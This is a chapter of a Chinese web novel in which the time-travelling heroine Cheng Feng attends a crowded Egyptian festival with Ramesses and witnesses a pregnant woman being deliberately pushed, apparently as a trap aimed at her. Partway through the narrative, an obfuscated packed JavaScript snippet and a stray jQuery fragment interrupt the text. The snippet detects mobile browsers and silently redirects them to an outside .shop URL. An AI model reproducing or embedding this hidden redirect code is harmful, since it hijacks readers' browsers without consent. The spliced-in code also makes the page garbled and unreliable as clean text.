22.022
    程风万万没想到,一朵小小的石榴花竟然能把她逼出PTSD。

    她无语地拿下花冠,在男人半眯着眼一脸“你敢不戴试试”的表情中抽出其中一根花枝,半拢头发在脑后挽了个发髻。

    完了后她顺了顺剩下的发丝,一把推开挡路的男人,麻利地往外走。走到一半,发现人在原地没跟上来,纳闷回头:“干嘛呢?”

    拉美西斯回神,慢吞吞地走过来:“刚刚看着你的背影,让我想起第一次见你的场景。你从天而降,脑后插着一根羽毛,圣洁又遥不可及。”

    而现在,这头铂金色的发丝上是反差十足的红花绿叶,让他有一种将神明拉回人间,禁锢私有的欣喜和恐慌。那一刻,他是真的真的,想拦下她,不让她出门。

    失控的念头一闪而逝,很快被理智覆盖。他知道,她就像那手中沙,握得越紧,失去越快。

    想要长久持有神明,唯一的办法,就是虔诚专一的爱。

    看着一脸疑惑还在等自己下文的程风,拉美西斯挑眉一笑,搭上人的肩膀:“走吧走吧,赫雷姆贝福他们该等急了。”

    程风:??

    什么鬼,话说一半的,真讨厌!

    程风觉得把那种象征意义的石榴花冠戴在头上很蠢很羞耻,可等见到穆特诺米手上的那一圈石榴花环才知道,是她格格不入了。

    不管什么时候,被爱都是一件值得炫耀的事。

    除了穆特诺米,大街小巷,人潮涌动中,相似的花朵比比皆是,或插在发髻上,或别在衣服上,相较之下,程风这头上一枝还真是泯然众人了。

    聂芙特一手牵着程风一手拉着穆特诺米,频频被密密麻麻的人群挤得左右横撞,终于,实在受不了的她一把抓着两人奋力挤到了边上:“天哪,怎么会这么多人,往年也没挤成这样啊!!!”

    “可能是底比斯过来的,早上和赫雷姆贝福往这边赶时就遇到了不少同行者。”穆特诺米摸摸鼻子,一脸无辜。毕竟她也是这拥挤的源头之一。

    不过这么来说,真正的源头应该是某女神才对。

    顶着几人的目光,程风双手一摊,坚决不背锅:“女神有什么错呢?她只是贪慕这人间的繁华而已啊~”

    此话一出几人“哈哈”笑了。

    身为埃及人,听人夸耀自己的祖国总是与有荣焉的~

    笑完之后,聂芙特继续看着眼前的人流发愁:“那现在怎么办?这里到中央广场还有几百米呢。”

    程风也不想人挤人,她看了看身后的河流,不解问道:“为什么不坐船?”

    “因为坐船也要往上走几百米啊!”

    程风:=o=

    她拉了下嘴巴默默闭麦。

    就在三个女人准备视死如归继续冲进去的时候,拉美西斯突然开了口:“其实有办法解决。”

    程风&穆特诺米&聂芙特:⊙▽⊙

    在三人期待的眼神中,拉美西斯走到程风身后双手掐住她的腰将人猝不及防撑了起来。程风一声惊呼还未出口,人就已经被稳稳地放在了他的脖子上。

    抓着某人头上几把短毛稳住身形,视线突然变开阔的程风惊喜地咧开了嘴。

    不用多说,赫雷姆贝福也立马有样学样,将穆特诺米顶在了自己的脖子上,获得美人奖赏一吻。只有聂芙特,看着双宿双飞的两对,一脸难以置信:“不是,你、你们就,就这样不管了?我好歹也是你们的挚友亲妹啊!”

    聂芙特懊恼跺脚:“你们要这么玩,好歹通知我带个人啊!!!”

    人还是有的,拉美西斯一个眼神,拜恩拉绅士地伸出了邀请的手。

    聂芙特毫不犹豫站了过去,两秒后,六人重新出发了。

    这种逗小孩的抱法还是第一次有情侣用上,周围人看着三人的组合,纷纷发出善意的哄笑,给他们让了路。过了会儿,有人发现了这么出行的好处,纷纷效仿,没多久,这条街上的情侣就成了一道景观。

    也算是给人流减负了,之前几乎成一潭死水,现在么,好歹是流动的。

    程风纵享5A级视野,第一次发现原来还有一种“观景台”是可媲美山顶的。她以手作档撑在眼睛上方,向着聂芙特指的方向眺望了半天,终于在重重房顶掩映中看到了一群祭司袍。

    透过丝丝缝隙,还能看到伴着节奏闪动的人影。

    “我看到了看到了,快快,拐过前面这个角就能看得更多了。”程风拍拍身下的肩膀。

    拉美西斯捏了捏手中Q弹的臀肉,含笑恐吓:“小心重心不稳。”

    “是吗?你要做这条街第一个把自己女朋友摔下来的男人吗?”程风故作惊讶,说完自己先笑了。她仗着现在人挤人他不敢做什么,使劲在男人的雄性尊严上蹦跶。

    拉美西斯轻轻拍了拍手下的屁股以示惩罚,无奈一笑,勤勤恳恳地给她挪视角。

    程风终于拥有了360°无遮挡的最佳景观,大约1千平的广场上,中间一半面积被士兵保护了起来,这一半面积一分为二,左边是一排一排秩序井然的鼓乐队,右边是祭司的娱神舞蹈。

    舞蹈???!!!

    程风看着那堪比杂技的高难度表演,几乎惊掉下巴。

    这种仿若无骨的柔体技,命悬一线的走钢丝······她们管这叫舞蹈???

    她难以置信地转头看向另两人:“跳不到这种水平就要被嘲笑?”

    “当然啊。贵族之女,娱神之舞是从走路开始就在练习的本命技能了。不要求说全部会,但至少得练就一样吧,不然名声可不好听。”聂芙特说得理所当然。

    呵、呵呵、呵呵呵呵······

    程风干笑:“优秀,优秀。”

    真是没想到,在这个年代还能看到这么高水准的杂技表演。

    暗暗咋舌几秒后,她很快继续专注在表演上。一曲结束,娱神祭司阵营变幻,音乐一顿,紧接着换了另一种柔美风格,而随着音乐的变化,右边的舞蹈也随之改变,成了程风认知中的“舞蹈”。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329635|151694||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    舞姿不差,只是刚才的刺激已经将众人的肾上腺素提到了顶峰,现在看这个就有点反应平平了。

    不止她这么想,周边的观众也在逐渐散去。

    “接下来半小时都是这种了,你要是不想看,我们可以先去逛逛。”聂芙特提议。

    “可以。”程风随口答应,移开目光四下探寻,想找一条看着好玩的街道。

    满目人海如同蚂蚁一样在视网膜上移动,她的目光本不该落在某一个人的身上,可命运要捉起棋子甩得人满头包的时候,她的视线,也就不受控制地朝某个角落瞥了一眼。

    就这一眼,让她清清楚楚地看见,一个怀孕的女人一脸幸福地抱着肚子坐在摊子后面给客人说着什么,而女人的身后,是一个头戴假发,妆容厚重的男人伸出的罪恶之手。

    程风清晰看见,那一掌推出去之前,男人朝这边看了一眼,好似刻意要这出戏在她眼前上演一样。

    紧接着,蔓延的血液,凄厉的喊叫,四散的人群和惊呼声接二连三响起,周围一切都混乱起来。就像有一只手,拂乱了整个蚁群。

    可他们不是蝼蚁,是人!

    “弓箭!弓箭!给我弓箭!!!”程风死死盯着逃窜的男人,指甲都掐进了皮肉里。

    拉美西斯敏锐察觉不对劲,将人抱下来,连忙摘下腰间的佩剑放到她面前安抚:“出门拥挤,没带弓箭,这个行不行?”

    没有弓箭!!!

    认知撞入脑海的那一刻,程风闭上眼,无力地垂下了双手。

    周围人群还在不断向外奔逃,通过那些人的只言片语,拉美西斯几人已经拼凑出了一个大概,当下就沉了脸色。

    他心下懊恼,可偏偏赫雷姆贝福在,很多事情还不好明说。

    广场上,娱神祭司们也已经被迫停止了舞蹈,惊惶地挤在一块儿,等待指示。而士兵们则已经列队走向了事故发生地。

    “看来今日塞壬节是没法继续了,你们是想回去还是换个地方玩?”赫雷姆贝福遗憾地看着几人。

    继续、玩?

    零碎几个字撞入脑海,程风情不自禁打了个寒颤,缓缓抬头:“那个孕妇,故意被人推到了人群中,现在生死不知,你让我继续去玩?”

    赫雷姆贝福结结巴巴道:“可······可······孕、孕妇生产,生产本为不祥,她还扰乱祭典,就算没死也要被处刑的。”

    赫雷姆贝福不觉得自己的话有什么问题,可眼前玛阿特女神的眼神太锋锐,琥珀色的光芒化作片片飞刀,几欲将人凌迟。他忍不住侧头看向拉美西斯,眼神求助。

    拉美西斯抬脚站至程风面前隔断两人的视线,然后伸手,想要将人拥入怀中慢慢安抚,手还没抬起,人就已经转身准备冲着那个地方去了。

    他眼疾手快拉住人,微微摇头:“这是陷阱。”

    程风神色平静漠然:“那个人出手之前,看了我一眼。这是陷阱没错,但先挖第一锄头的人,是我,是你,不是那个孕妇。”